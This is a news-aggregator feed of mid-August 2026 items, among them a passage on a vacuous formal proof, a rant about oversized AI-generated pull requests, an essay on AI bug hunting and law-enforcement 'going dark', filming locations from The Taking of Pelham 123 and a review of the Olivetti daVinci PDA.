Why did the proof checker still accept this? Well, Eris is a partial correctness logic , so it trivially accepts anything about nonterminating programs (indeed, partial correctness is necessary for the logic’s main trick to work). Loeb induction, the principle we use to verify properties about IsLessThanDyadic in Iris, simply assumes that your program is in a terminating trace, causing the termination assumption we handwaved away to bubble all the way up to the adequacy theorem. When you’re in the muck of a Loeb induction proof, a correct proof and a proof that is vacuous due to nontermination look just about the same.

The only (minor) difference is that, if your proof is vacuous due to nontermination, you can prove anything about it using Loeb induction, but it will not be possible to close off that final termination hypothesis in your adequacy theorem. This is exactly the situation I was in, that horrible night in Providence.

The paper could simply not be published in this state, and I was mentally preparing myself to retract our submission.

Act V

I freaked out for a little bit, but then I stopped freaking out, and corrected the sign error. The proofs still worked and I was able to finish the Total Eris proof, closing the last hypothesis.

Act… what the hell?

I thought the same thing.

While the proof I’d written was vacuous, I’d actually still written a correct proof, just in an vacuous context. With the sign errors corrected, nothing changed about my partial correctness arguments, but my termination statement changed from being false to being true (generally speaking this a good change to make).

The reason this went thought alright was becase I did not “adversarially exploit” the Loeb induction hypothesis. The final proof still went through by Loeb induction, and the thing is, I still have parts of my proof that genuinely rely on the fact that we can avoid traces that don’t terminate! What is an exploit versus a correct proof can be hard to determine, and it’s important for proof engineering that you know the difference.

This mistake was not a big deal but it very well could have been. I spent months mentally torturing myself with the details of these arguments, and as a consequence I understood them completely, and knew that even if not correct, they were fixable. So that’s exactly what I did.

A couple hours later, we submitted the rebuttal confidently asserting that yes, we also verified the obvious hypothesis too.
Close one, cowboy.

Conclusion

This is a cautionary tale. Now that AI is readily available, and generally pretty good, some people believe that you can simply slop out a proof and submit it for the extra badges on your cover page. I’m not sure I would have noticed an AI that decided to avail itself of my nonterminating program. I’m quite sure I wouldn’t have been able to fix it so quickly–the time alone to regenerate a correct version from scratch might have even been too long.

You have to be careful with these things. Formal methods is still hard, and you need an expert to interpret the results. And when your slopped out artifact doesn’t exactly match the text of your paper, I’ve got to say, the once-bitten part of me just doesn’t buy it.

Stop sending me huge PRs; a rant

Hacker News
getsmall.xyz
2026-08-14 18:48:15
Comments...
Original Article

I'm tired boss. I'm tired of reviewing one, two, three thousand line PRs because some agent was able to "one shot the whole issue." Small PRs were never asked for because they're easier to write, it's always been for the benefit of the reviewer. AI is such a boon to the industry, but it's becoming such a liability for reviewers and maintainers. Maybe I'm just an old man yelling at the clouds, but please, stop sending me huge PRs.

I have heard on multiple occasions recently the argument that "it won't work without the whole change" or "the code will do nothing if we don't put in the entire diff," well, yeah? Good? The point of small PRs is not necessarily to have small, individual, finished products. It's to have small, digestable, reviewable , understandable pieces of work. I have no data for this, so I will wildly speculate, that the time it takes to fully comprehend a piece of code increases exponentially with the number of lines the code covers. Taking up exponentially more of my time because you wanted to ship a full feature does not spark joy.

While we're at it, I don't need 50 line comments. Sure, document functions, give me jsdoc, rustdoc, javadoc, all of that good stuff. Absolutely do not give me 5 lines of comments on why a variable is named is_logged_in . If your variable is named well, 9 times out of 10 I'll understand what it does. If your variable is not named well and you need a comment, name your variable better.

Finally, for you AI maximalists that say "just use AI to grok (not grok ) it bro," you're wasting your tokens reingesting code that was already made by an AI. "I use a different model for reviews though," okay, great, why did you put it up for a human review at all then? Perhaps, you could have your precious AI separate it for us mere mortals and then review it after we've had our turn?

Look -- AI is a great tool, it really helps things move faster and can make code better, but when React came out we didn't accept larger PRs because "React is faster to write and easier to read," so why are we doing it now?

Addendum: are you just making giant PRs so I give up halfway through and approve it? If so, well played. Well. Played.

eigendrum

Hacker News
eigendrum.com
2026-08-14 18:15:12
Comments...
Original Article

how it works

A drumhead clamped at its rim can only vibrate in certain shapes, at certain frequencies. Those shapes and frequencies are the solutions of

−∇²u = λu  inside the shape,  u = 0 on the edge

Each solution u is a mode, a standing wave, and each λ gives a frequency proportional to √λ. This is an eigenvalue problem, and for almost every shape it has no formula. So Eigendrum solves it numerically: it covers your shape with a mesh of triangles, builds the finite element stiffness and mass matrices, and finds the smallest eigenvalues of Kφ = λMφ .

why you can trust the numbers

A few shapes have spectra that can be written down exactly, and the solver is tested against them on every change. A circle's frequencies are the zeros of Bessel functions; a rectangle's are π²(m²/a² + n²/b²) . The solver reproduces both to better than a tenth of a percent, and because a conforming finite element method minimises energy over a restricted space, its answers are guaranteed slight over estimates, never under. The measured error is in “the numbers”.

where you strike it matters

Striking a spot drives each mode in proportion to how much that mode moves there. Hit a line where a mode stands still and you cannot excite it at all. That was not programmed in; it falls out of projecting the mallet onto the modes.

So a strike is never one mode: it is every mode at once, in a mixture set by where your mallet landed. The rules along the mode list are that mixture, and the modes marked with a square were the ones your mallet could not reach. Pressing a row instead plays that single mode alone - something no mallet can do, and the only way to hear what one frequency of a shape actually sounds like.

drums from equations

Besides tracing an outline you can write one. r(t) gives the radius as t sweeps one full turn, so 1 + 0.3cos(5t) is a five-lobed flower; a parametric x(t), y(t) pair reaches the closed curves polar cannot, like a nephroid or an egg. This is not a shortcut for drawing. It reaches shapes no hand traces accurately - eleven even lobes, a superellipse partway between a circle and a square - and it makes a shape something you vary : change one number and hear what moved.

A written shape travels as its own text. The link for a formula holds the formula, so it is something you can read and retype rather than a few hundred characters of encoded outline, and editing it in the address bar works. Anything too thin to mesh honestly is refused rather than answered, because a sliver would still return numbers and they would be wrong.

can one hear the shape of a drum?

Mark Kac asked exactly that in 1966. In 1992 Carolyn Gordon, David Webb and Scott Wolpert answered no , by building two different shapes with identical spectra. Both are in the form list as Kac drum I and II. Each is made from the same seven triangles, rearranged. They enclose the same area and the same perimeter, and every frequency matches. Switch between them and listen: the outlines are plainly different and the sound is not.

what is a modelling choice

The frequency ratios and the mode shapes are physics, fixed entirely by the outline. The absolute pitch depends on size and tension, and how fast each overtone fades depends on the material and the air, so those are sliders rather than silent assumptions. Every shape is scaled to the same area before solving, so what you hear is shape and not size.

The mallet is modelled too. Its width is a slider; its contact time is fixed at a few milliseconds, because no real beater is instantaneous and one that was would drive every mode equally hard. Both decide how much of a mode a strike can reach, and neither can move a mode's frequency. Damping is Rayleigh damping, so loss rises with the square of frequency: the high overtones die away first, which is why a drum darkens as it rings.

where it lives, and how to reach me

Eigendrum is hosted at eigendrum.com . That is the address to link to and to cite; the older baselashraf81.github.io/eigendrum is a mirror that now redirects there.

For advertising or partnership enquiries, write to u2679054@uel.ac.uk . For anything wrong with the maths or the interface, an issue on the repository is better, because then the fix is public.

colophon

No build step and no application backend: the mesh, the solve and the audio all run on your own machine. The deployed site uses Vercel Analytics, Google Analytics and Google AdSense, which is what pays for the domain and keeps this free to use. The shape you draw lives in the address bar after the # , which browsers never send to a server, and analytics is configured not to record it. Details in the privacy notice . Set in Jost* by indestructible type*. After Kac, Can One Hear the Shape of a Drum? (1966); Gordon, Webb and Wolpert (1992); and Driscoll, Eigenmodes of Isospectral Drums (1997), whose coordinates the two Kac drums use.

Source, including the solver and the tests that check it against the closed-form spectra: github.com/BaselAshraf81/eigendrum

Free to use, with no account and nothing to install. If you would like to put something towards it, or would rather it were not ad-supported: ko-fi.com/baselashraf

Don't classify. Hallucinate!

Simon Willison
simonwillison.net
2026-08-14 17:54:35
Don't classify. Hallucinate! I still have quite a bit of older content on my blog that I never got round to tagging. My blog has 1,856 tags - likely too many to feed to an LLM in one go and say "which of these tags match the following content". Doug Turnbull has a neat solution. Tell the model ...
Original Article

14th August 2026 - Link Blog

Don't classify. Hallucinate! I still have quite a bit of older content on my blog that I never got round to tagging. My blog has 1,856 tags - likely too many to feed to an LLM in one go and say "which of these tags match the following content".

Doug Turnbull has a neat solution. Tell the model to output tags without any details of the existing vocabulary, then use vector embeddings against the existing corpus to find the concrete tags that are closest to the ones the model imagined might fit!

His example prompt suggests including an example of the shape of your tags to help the model make a more useful guess:

Your task is to create novel, never seen before, furniture, home goods, or hardware classification that best fit a search query.

Product classifications might look like:

Furniture / Living Room Furniture / Coffee Tables & End Tables / Coffee Tables
Décor & Pillows / Decorative Pillows & Blankets / Throw Pillows
Furniture / Bedroom Furniture / Dressers & Chests
Kitchen & Tabletop / Kitchen Organization / Food Storage & Canisters
School Furniture and Supplies / School Furniture / School Chairs & Seating / Stackable Chairs
Baby & Kids / Toddler & Kids Bedroom Furniture / Kids Beds

Here's the query to generate classifications for:

brown coffee table

Destiny's Networked Mission Architecture

Lobsters
www.gdcvault.com
2026-08-14 17:16:20
Comments...
Original Article

Session Name:

Shared World Shooter: Destiny's Networked Mission Architecture

Overview:

For Bungie's new game Destiny, we wanted to create a shared world shooter - a player experience that combined low-latency action gameplay, always-available drop-in cooperative missions, and seamless in-world interactions with strangers. The networking ecosystem that we built is unique - an intersection of our traditional peer-to-peer networking and a new cloud-based server architecture. This talk will discuss the spatial structure of Destiny's game world, each of the various networked experiences a player may be simultaneously connected to, and their overlapping responsibilities. Rules for host handoff at regional boundaries will be described, along with how we handle ungraceful host migrations and disconnections. Because untethered cooperative play is a pillar of our game, we will discuss the consequences and complexities these places on mission scripting and gameplay simulation.

Friday Squid Blogging: Searching for the Colossal Squid

Schneier
www.schneier.com
2026-08-14 17:01:49
Fascinating video about searching for life undersea. The video basically makes the point that our bright white searchlights are scaring everything away, and that red light is more neutral. That, plus bait to attract sea creatures, is teaching us a lot about what’s going on down there. Lots of ...
Original Article

Fascinating video about searching for life undersea. The video basically makes the point that our bright white searchlights are scaring everything away, and that red light is more neutral. That, plus bait to attract sea creatures, is teaching us a lot about what’s going on down there. Lots of footage of giant squid, and speculation about the colossal squid. Worth watching.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Blog moderation policy.

Tags: ,

Posted on August 14, 2026 at 5:01 PM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

Zohran Mamdani’s Policing Looks a Lot Like Eric Adams’s Policing

hellgate
hellgatenyc.com
2026-08-14 16:56:38
Advocates confront yet another mayor apparently committed arresting lots of people on low-level charges....
Original Article

Longsuffering proponents of police- and criminal justice reform are calling for Mayor Zohran Mamdani to rein in his police department and significantly reduce the burgeoning number of arrests for minor offenses. So far, as the mayor continues to tout declines in major crimes alongside his anti-reform police commissioner, advocates are doing so gently.

At a small press conference outside Manhattan Criminal Court Thursday afternoon, a parade of activists and lawmakers called for the mayor to break from the policing strategies his police commissioner pursued under Mayor Eric Adams and has continued this year.

"This is the same aggressive, racially discriminatory enforcement of low-level offenses that we saw under Eric Adams," said Samy Feliz, an organizer at the Justice Committee, whose brother Allan Feliz was killed by police in 2019. "It is the punishment of poverty, and no matter what anyone tries to call it, we are calling what it is: broken windows policing."

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Everything is about to "go dark"

Hacker News
blog.cryptographyengineering.com
2026-08-14 16:52:44
Comments...
Original Article

I’m coming down from spending a few days at Usenix Security, right here in Baltimore. This means that my days have been taken up with two kinds of conversation: first, explaining to colleagues why Baltimore isn’t actually like The Wire. And second: trying not to talk about AI.

Here I’m going to break both of those rules.

I have many worries about what AI means for our field, for various definitions of “field”. But in this post I want to focus on just one thing I’ve started worrying about, and it’s a perverse thing: specifically, I’m worried that AI is going to make software much too secure.

While that doesn’t sound so bad on the surface, there’s a consequence to this. I mean something very specific: I’m concerned that U.S. intelligence and law enforcement agencies are about to go dark, meaning lose a huge portion of their capability. And that this isn’t going to be simply a problem for those agencies, but also for those of us who value computer security and privacy in general.

Going Dark, and the era of law enforcement hacking

To explain how we got here, we need to talk about recent history. Here we have a real excuse to reference The Wire, which embeds a realistic snapshot of what electronic surveillance looked like in 2002. The cops in that show are after payphones and burners, all used for voice calls. While the mobile phones were new, nothing in here would have surprised a cop from 1989.

Less than a decade later, everything was different.

The change started in the late 2000s with the rise of smartphones and texting. In 2010, Apple began encrypting iPhone data using a key derived from the user’s passcode, and Google followed behind them. In 2011, Apple deployed end-to-end encrypted text messaging. By 2014, WhatsApp had 600 million users worldwide, and by 2016 nearly a billion — and they were all using end-to-end encrypted messaging. The chart below gives a snapshot of how quickly the world changed between The Wire era and 2016:

The FBI and law enforcement agencies noticed the trend and took it very seriously. In 2014, Director Comey announced an initiative called G oing Dark , which would launch a “ national conversation” about what providers could do — or be compelled to do — to make these new communications media legible to law enforcement and counterintelligence.

In 2016, the agency stopped talking. When a terrorist attack left the FBI with the shooter’s locked iPhone, the agency ordered Apple to give them access . The company refused . What broke the stalemate — and, to some extent, ended “Going Dark” itself — was something that neither the FBI nor Apple expected. An outside company announced that there was no need for Apple’s assistance: they could simply hack the phone .

The Apple v. FBI case turned out to be microcosm of the whole debate. For the next decade, law enforcement and intelligence agencies continued to ask for exceptional access backdoors. But the urgency was gone: agencies and manufacturers knew that law enforcement could purchase targeted hacking tools if they needed them badly enough. Vendors like Apple and Google played a vigorous defense, closing vulnerabilities as soon as they learned about them. But commercial offensive vulnerability hunters consistently managed to keep the edge.

Anyway, that’s the history. And now it’s about to be over.

The era of AI bug hunting is here

In April, Anthropic announced a new model called Mythos that was optimized for software vulnerability finding. The U.S. government temporarily blocked its export, restricting it to U.S. agencies. While the ban was dramatic and made for good PR, it was mostly pointless. OpenAI , along with Chinese open-weight model labs like Z.ai and Moonshot , have since demonstrated that vulnerability finding isn’t anything that a single model can hold a monopoly on. The list of serious vulnerabilities that these models have found is getting scarier (or more impressive) by the day.

Initially this might seems like good news for the offense, and for hackers in general. But I doubt it will last. Defenders are now in the process of patching every bug they can find, often with AI helping them. Entire development toolchains are being rebuilt to incorporate powerful vulnerability scanning before software reaches the testing phase. This does not mean that every bug will be found: even calculating the number of bugs in a piece of code is probably uncomputable. In the real world, it does feel likely that we’re going to hit some sort of a ceiling on the number of useful bugs, and probably we’ll hit it soon.

Thus: over the next two years, major pieces of software are likely to run out of remotely-exploitable bugs.

While I think this is great, for law enforcement and offensive intelligence agencies, it’s going to be a nightmare. For the first time since 2010, law enforcement might experience what it looks like to really “go dark”, across a huge category of advanced (well-maintained) devices and pieces of software.

So how is this a problem?

The debate over “exceptional access” mechanisms never really went away. In some places, like the UK, it actually metastasized into something worse. Here in the US it mostly went into hibernation. Some of the slowdown can legitimately be attributed to expert pushback — academics and industry engineers pointing out the risk that backdoors might be abused by the very adversaries they’re designed to protect against. But I fear that the market was just pricing supply.

The destruction of the low-hanging vulnerability fruit will make law enforcement (and intelligence) agencies’ need much more acute. The demand for constructed, intentional backdoors will begin in earnest. There will be enormous pressure on industry to re-architect their systems to make their systems friendly to exceptional access. In some cases, governments will ask for these capabilities in the expectation that they’ll be useful for spying on other governments — a strategy that might have been undetectable in the pre-AI era, but that probably will be detectable now. This might result in other governments curtailing their dependence on US software.

In fact, the worst part about this dynamic is that these potential new backdoors will begin primarily useful for allowing the US to weaken its own systems, which will in turn allow foreign adversaries to find new ways to attack our communications. This deliberate self-sabotage will happen just at a moment when we’re finally learning how to defend our own infrastructure.

So what do we do about it?

I honestly have no idea. This is not a call to action for experts to rally behind a sophisticated plan. Like so many things about the AI revolution, it’s just occurring to me that we’re on a long greasy slide to a place that will look different than where we are today. Just realizing this doesn’t mean that I have a clever plan to avoid it. In this case, we’re just going to have to hope that this time we make the right choices, for no other reason than that they’re right.

Study links coffee consumption to metabolic health and sex hormones

Hacker News
www.oulu.fi
2026-08-14 16:46:04
Comments...

An Incomplete List of Things to Do in New York During the Last 3 Weeks of Summer

hellgate
hellgatenyc.com
2026-08-14 16:12:57
It's far from over, friends....
Original Article

This is it. Crunch time. Summer isn't ending. Nay, it's peaking.

And before you begin to start scheduling meetings and the like for September, before you give in to the horrible dread that yes, another summer is pretty much in the books, damnit, there's still some fight left in you. There's time to get out there, do a thing filled with sunshine and whimsy, so when someone asks you whether you had a good summer or not…you can answer in the affirmative. You didn't have a good summer, you had a great summer, and New York had a great summer, thank you very much.

So in the spirit of keeping it light and breezy, here's some ideas from the edit desk at Hell Gate.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Every exterior shot in The Taking of Pelham 123

Hacker News
iafisher.com
2026-08-14 16:10:49
Comments...
Original Article
“You are clever, O Samana.”

This is a list of the location of every exterior shot in New York City from the classic 1974 crime film The Taking of Pelham 123 .

Most of the film, which concerns a subway hijacking, take places underground, but there are about 40 exterior shots in Manhattan. The filmmakers evidently took care to use real locations that match the action in the film (i.e., when the subway train is parked near the 28th Street station, the aboveground police field command was filmed at 28th Street and Park Avenue), with only a few continuity breaks. Despite the passage of 50 years, nearly all the exterior shots are still easily identifiable in the contemporary city.

Timestamps are from the YouTube video , which is free to watch with ads as of July 2026.

Highlights

  • 56:26 59:58 A police convoy transports the ransom money from the Federal Reserve Bank in Lower Manhattan to the field headquarters at 28th Street, passing through the Financial District, Civic Center, SoHo, and the East Village.

Comprehensive list

Entering the subway

  • 1:41 Lexington Avenue and 59th Street, facing north; Bloomingdale's department store at right ( StreetView )

Subsequent interior shots in the subway are the actual Lexington and 59th Street station.

Gracie Mansion

  • 32:19 Gracie Mansion on the Upper East Side (the mayor's official residence)

FDR Drive

Field headquarters at 28th Street

Transporting the ransom money

  • 49:36 Interior courtyard of the Federal Reserve Bank in the Financial District
    • Labeled as such, although I don't see a courtyard or external vehicular entrance on the current building, nor can I match the building seen in the background to any of the surrounding buildings.
  • 56:26 uncertain
    • The "Italian Line" building appears to be this one at Platt and William, but I can't find a perspective that matches the shot.
  • 56:36 Pine Street and Pearl Street ( StreetView )
  • 56:43 Pine Street facing west, between Pearl and William ( StreetView )
  • 56:56 uncertain
  • 56:57 Nassau Street just south of Beekman Street, facing north ( StreetView )
  • 57:05 Park Row at City Hall, facing west, pans north to the Manhattan Municipal Building ( StreetView )
  • 57:28 Wall Street and Broad Street ( StreetView )
    • Continuity break: This is well south of the previous shot.
  • 57:30 South end of Foley Square, facing north ( StreetView )
    • I suspect the street has narrowed or been slightly rerouted since the 1970s as I cannot recreate the exact perspective in the shot.
  • 57:37 Centre Street and Worth Street, facing north ( StreetView )
  • 58:29 Centre Street and Broome Street, facing north ( StreetView )
  • 58:41 Cleveland Place just north of Kenmare Street, facing north ( StreetView )
  • 58:44 Cleveland Place and Spring Street, facing south ( StreetView ), then at 58:57 facing north ( StreetView )
  • 59:49 Lafayette Street between 4th Street and Astor Place, facing north ( StreetView )
    • In the film, the policeman radios that they are crossing Houston Street, but the shot is actually a few blocks north of that: notice Colonnade Row at the immediate left.
  • 59:58 Lafayette Street at Astor Place, facing north ( StreetView ); later facing south at 1:00:02 ( StreetView ) and facing north again at 1:01:01 ( StreetView )

The pursuit

2026 EuroLLVM

Lobsters
www.youtube.com
2026-08-14 16:09:56
Slides here: https://bwatsonllvm.github.io/library/talks/?meeting=2026-04 Disclosure: I gave one of the talks there. Comments...
Original Article
2026 EuroLLVM - YouTube

The worst PDA of all time

Lobsters
www.osnews.com
2026-08-14 16:07:16
Comments...
Original Article

Today, you can get low-quality knockoffs of just about any popular smartphone on sites like AliExpress or Temu, whether they be iPhones, Galaxy phones, or whatever else. They have terrible build quality, bottom-of-the-barrel components and specifications, and all run outdated versions of Android – badly. At the same time, various consumer electronics brands, once popular in a bygone era, sell the rights to their brand name to unknown companies, who then put these brands on generic hardware to give their products a sheen of legitimacy. That’s why today, you can still buy Nokia smartphones, Polaroid cameras, and low-effort Hi-Fi equipment from various once-respected brands.

None of this is new, however. In the late ’90s and early 2000s, companies were already doing the same thing. In fact, there’s one device from this era which combines both business practices – it’s both a cheap knockoff of a wildly successful device, and it carries a once-revered brand name. Also, just to add some juice, this story involves stolen source code.

Let’s take a look at the worst PDA of all time, the Olivetti daVinci.


The OSNews 2026 Fundraiser


➡️ Donate through Ko-Fi ➡️ Donate through SEPA transfer* ➡️ Buy merch from our store ➡️ Why a fundraiser?

€5000 incentive: Make me use Windows 11 for a month ( the results were not great )
> €10000: Video tour of my office and my computers/devices collection <
€15000: Buy a Mac and use macOS for a month (and review it)
€20000: I get an OSNews tattoo

* Name : Thom Holwerda – IBAN : SE08 8000 0820 1684 4657 8414 – BIC : SWEDSESS


In 1997, Palm launched the Palm Pilot, and it and its successors proved to be a massive hit. Where countless before it had failed, Palm found the magic formula to make pocket computing work. I wrote an in-depth article about Palm over 13 years ago which goes into much ( much ) more detail, but the reason the Palm Pilot succeeded where things like the Newton, PenPoint OS, and Windows for Pen Computing failed, is that Palm’s founder, Jeff Hawkins, realised that they were competing with paper, not with desktop computers. Instead of trying to shove the capabilities of a full personal computer into a (barely) pockatable device, a pocket computer had to be as fast and convenient as paper, and therefore extremely strict about which features to add, and which to omit.

To this day, the entirety of smartphone computing stands on the shoulders of Palm. Palm’s ideas, implementations, approaches, paradigms, and even people were absorbed by Apple and Google, where they shaped both iOS and Android. The phone you’re looking at right now has a ton of Palm DNA in it, still. After all, you’re still using the homescreen-with-apps paradigm Palm already perfected in the late ’90s and early 2000s.

The success of the Palm Pilot and its successors did not go unnoticed. Microsoft, most prominently, felt incredibly threatened by Palm’s success:

The success of Palm’s products got the attention of Microsoft, and the company pretty much announced it was going to crush Palm. According to Hawkins, Microsoft had a sales conference, where, at some point, a big target appeared on the projector screen, with the Palm logo dead in the centre of it: “we are going to crush and kill these guys”, was the central message. Hawkins recalls that he got condolence letters after that, stating things like “Sorry Jeff. Too bad.”

↫ Thom Holwerda

While Microsoft proved to be unable to “kill and crush” Palm, it did manage to build a relatively successful business selling PDAs running various incarnations of Windows CE. Together, Palm and Microsoft dominated the PDA market pretty much throughout its entire existence, and while the market was a mere fraction of the smartphone market of today, other companies still wanted a piece of this pie too. One of these companies was Olivetti, a storied Italian company with a long history making typewriters, computers, and other electronics.

I’m not going into detail about Olivetti’s history , but the company was renowned for its attention to design , creating iconic products like the Lexikon 80 , Lettera 22 , Elea 9003 , Programma 101 , and so, so many more. Olivetti also entered the personal computer market, first with a variety of custom machines featuring Z80 and later Motorola 68000 processors running a variety of custom operating systems developed by Olivetti (including its own UNIX variant, X/OS). After a few machines using MIPS and Alpha processors in the early ’90s, the company would eventually focus entirely on Intel-based PCs (including this amazing failure ) running Windows. Like so many other computer makers from that era, Olivetti eventually left the PC business by selling it off in 1997.

To this day, Olivetti PCs tend to cost more on the used market than those from other brands, despite no technical merits dictating so.

At around this time, our current story begins. Seeing the success of the Palm Pilot and the emergence of copycat devices running Microsoft’s Windows CE, Olivetti wanted in on the action. And so, in the late ’90s, the company introduced the Olivetti daVinci, a line of PDAs whose software looked suspiciously like Palm OS. There’s not a ton of information out there about the development history, but it seems that while Olivetti designed the hardware, it contracted the development of the operating system out to a company from Hong Kong, Echolink Design.

And this is where things went horribly wrong for Olivetti. The software Echolink Design developed for the daVinci didn’t just look like Palm OS, it was Palm OS – at least, according to Palm. After being on the market for about a year, the Palm Pilot maker, then a subsidiary of 3Com, filed for an injunction, alleging that the daVinci operating system designed by Echolink Design contained actual Palm OS source code. In addition, Palm also filed suit against CompanionLink Software, the company that developed the Outlook synchronisation software for the daVinci. Palm won handily, and within a day of the filing, temporary restraining orders were put in place on both Olivetti and CompanionLink, stopping sales of the daVinci and its software dead in its tracks.

It seemed to have been a pretty clear-cut case. From The Wall Street Journal at the time:

U.S. District Judge James Ware ruled Olivetti’s Royal daVinci organizer contains software that appears to have been copied from the operating system for 3Com’s Palm organizers. Judge Ware said a review by a software expert found the daVinci software contains private Palm code and even grammatical mistakes that appear to have been “copied verbatim.”

↫ Wall Street Journal Staff Reporter

It’s difficult to ascertain what code, exactly, was stolen, but my personal educated guess is that it probably involved Palm’s unique Graffiti handwriting recognition system . Graffiti actually predates the first Palm Pilot, and was available on a variety of non-Palm devices; it doesn’t seem entirely unlikely to me that the code for it escaped containment that way, eventually finding its way to Echolink Design. I’m just guessing here, though, as I can’t seem to find any of the original court documents concerning the case.

In a bind, Olivetti claimed the copied code represented less than 2% of the operating system’s code, and set about to release a new version of the software for the daVinci.


And so we end up at the device I have in my collection. Several years ago, I bought a boxed version of the Olivetti daVinci DV3, including all of its original accessories for a pittance on eBay, and I’ve been fascinated and repulsed by this device ever since. It looks like a cheap Palm knockoff, and it feels like one too; the hardware is made out a really unpleasant form of plastic, with buttons worse than what you find on the cheapest possible pack-in remote control. The case feels creaky and unrefined, like the cheapest possible children’s toy.

The display has a resolution of 128×99, much lower than the 160×160 of even the first Palm Pilot, and it’s incredibly dim and hard to read without the backlight on; even with the backlight on, it’s difficult to read anything. Worse yet, the various hardware tap targets on top of and at the bottom of the display are not backlit at all, making them unreadable in all but the most illuminated environments. Considering you need these buttons a lot, it’s a major stumbling block. Turning on the backlight is confusing, too, as it you need to hold down the on/off button (while the display is on) to engage it, something only mentioned in the manual.

The display is, of course, a resistive touchscreen, as was the norm at the time, but its precision seems much lower than anything Palm ever offered. The accompanying stylus, too, is plasticky and cheap, definitely worse than the plastic styluses Palm shipped with its earlier models, and obviously no match for the metal styluses that would accompany later models.

Finding out exactly what type of processor the daVinci DV3 uses is remarkably hard. A contemporary review by Smart Computing claims it’s using an unspecified Epson processor, without giving any further details. There’s only one source that specifically states what processor it has, and considering that source is the only person to have written a third-party application for the DV3, I’m inclined to believe they’re right (opening the device up is of no use, as the SoC is of the epoxy blob type ). According to them, the DV3 runs on a Sharp SM6010 microprocessor, for which a datasheet and more detailed documentation exists. The SM6010 is a very basic 16bit single-chip microcomputer of an unspecified architecture (probably something custom and proprietary), running at 30Mhz.

The SM6010 is a 16-bit single-chip microcomputer incorporating a 16-bit CPU core, LCD controller, watchdog timer, serial interface (UART, SCI), SIR, PWM output, real time clock, A/D converter and bus controller.

↫ Sharp SM6010 datasheet

The DV3 stores its operating system in flash memory – making it upgradable – and has 2MB of RAM, stated proudly all over the box and on a sticker on the device itself. Performance is actually not that bad, but it’s not quite as instant and responsive as Palm OS. The operating system and its user interface are rather inscrutable; there doesn’t seem to be a single home screen you can always go back to like on Palm OS, and closing/leaving applications/screens is done differently for each individual application/screen (tap the hardware “OK” button? An on-screen “OK” button? Press the cancel button? Tap one of the hardware application shortcuts atop the display? Who knows!).

The core tools of the DV3 are incredibly basic, and cover merely the bare necessities of a PDA in the late ’90s, with things like an address book, notes application, calendar, calculator, and a few others. There’s no consistency among any of these tools, and they all look, feel, and work just differently enough to be confusing. The daVinci is also Very Serious™, as there’s no games or even a simple drawing gimmick; in fact, while there is a button labeled “Apps.”, it doesn’t actually do anything (we’ll get back to that). There’s barely any preferences to fiddle with either.

Input is done via a terrible Graffiti ripoff called daVinci Script, which uses strokes much more cumbersome than its inspirator, not aided by the absolutely trash recognition algorithms. This input method is effectively unusable, as it’s impossible to predict which strokes will produce what character or action. Even something as simple as the right-to-left stroke to delete a character is entirely unreliable, ensuring this is more of a random character generator than a text input system. Luckily, there’s a tiny on-screen keyboard you can use to hunt and peck with the stylus, but this isn’t exactly a particularly fast input method either.

It’s hard to convey just how utterly terrible the software experience is, especially in 2026 when many people reading this lack the frame of reference of its time. This isn’t utter trash compared to what we’re used to today – this is utter trash compared to the competing devices running Palm OS and Windows Pocket PC of its time. Even in 2026, I love using Palm OS and Pocket PC, but I absolutely despise, dread, and hate using the daVinci. I’m struggling to find a comparison with something contemporary, but the best I can come up with is like comparing an Apple Watch or WearOS device with one of those cheap knock-off smartwatches that run some shitty custom low-res UI on an underpowered SoC, but honestly, even that does a disservice to these knock-off smartwatches.

The daVinci I have came with all of its original accessories. There’s a vinyl pouch, a dock, and an external, fold-up keyboard. The pouch has not withstood the test of time, and has shrunk, so much so the daVinci no longer fits inside of it. The dock is, well, a dock, and uses the connector at the bottom of the daVinci. This connector looks and feels exactly like a crunchy ISA slot from the ’80s, as if the PCB was cut off with a hacksaw. The keyboard is the most interesting, and can be connected straight to the device’s bottom connector, or to a passthrough port at the back of the dock. Unsurprisingly, this keyboard is really bad, with dome-shaped mushy rubber keys with very little stability and a featherlight base that moves at the slightest of touches, making it almost impossible to type on.

Thanks, I hate it.

I mentioned the mysterious, non-functional “Apps.” button earlier, and there’s actually a bit of history here. It turns out that Olivetti fully intended for people to write third-party applications for this thing, promising to release an SDK at some point in time. Of course, this never ended up happening as the daVinci is trash and nobody in their right mind bought one or would want to develop for it, but it does mean that somewhere out there, perhaps in an attic somewhere in Ivrea, Italy, there’s a dusty hard drive or CD-ROM carrying this unreleased official SDK.

SDK or no, there’s always someone crazy, skilled, and determined enough to develop something for any computer, and for the daVinci DV3, that person was Alex Zwiesele. Zwiesele figured out that while the official SDK was never released, the CD-ROM that came with the daVinci DV3 contained the entire operating system of the DV3 and a loader program. This was enough for Zwiesele and a few other people to start disassembling the operating system and inject their own custom code into the binary file, reassemble it, and load it onto the DV3 using the loader program.

This was not a walk in the park. Zwiesele documented the entire process on their website , and it involved Zwiesele and several others writing their own disassembler and assembler (still available from their website !) based on the available Sharp SM6010 documentation, as well as learning how to actually program for the device’s hardware. In the end, they managed to develop an actual game for the daVinci DV3, a Breakout clone. You load the game onto your DV3 in the same way you’d load the operating system; as such, the game will replace the entire operating system and load automatically on power-on. That’s as far as they got back in 2003, as efforts seem to have stalled after that.

Back when I bought my daVinci, about 6-7 years ago, I mentioned online that I had bought the worst PDA of all time, without mentioning it by name. Immediately, fellow hardcore PDA enthusiasts (we exist) knew I was talking about the daVinci. This thing is just plain trash, e-waste before the term had been popularised, a waste of everyone’s time, effort, and money. Not even its one redeeming quality – its low price of just $99 compared to the cheapest Palm device at $249 – could make anyone want to use it.

Still, I’m glad I have it in my collection, if only to serve as a reminder that shitty e-waste devices aren’t something exclusive to our current smartphone era. It also serves to underline just how great Palm OS and Windows Pocket PC (yes, I will fight you on this) really were, and how many things they each got right out of the gate. So much so that especially Palm OS laid the foundations for every smartphone we use today.

Now that I’ve finally written and published this article, I can put this abomination back in its box, and never take it out again.

New Lower and Upper Bounds for the Grothendieck Constant

Hacker News
arxiv.org
2026-08-14 15:41:42
Comments...
Original Article

View PDF HTML (experimental)

Abstract: We establish new bounds on the Grothendieck constant $K_G$: \[
\frac{6\pi}{11}
\le
K_G
\le
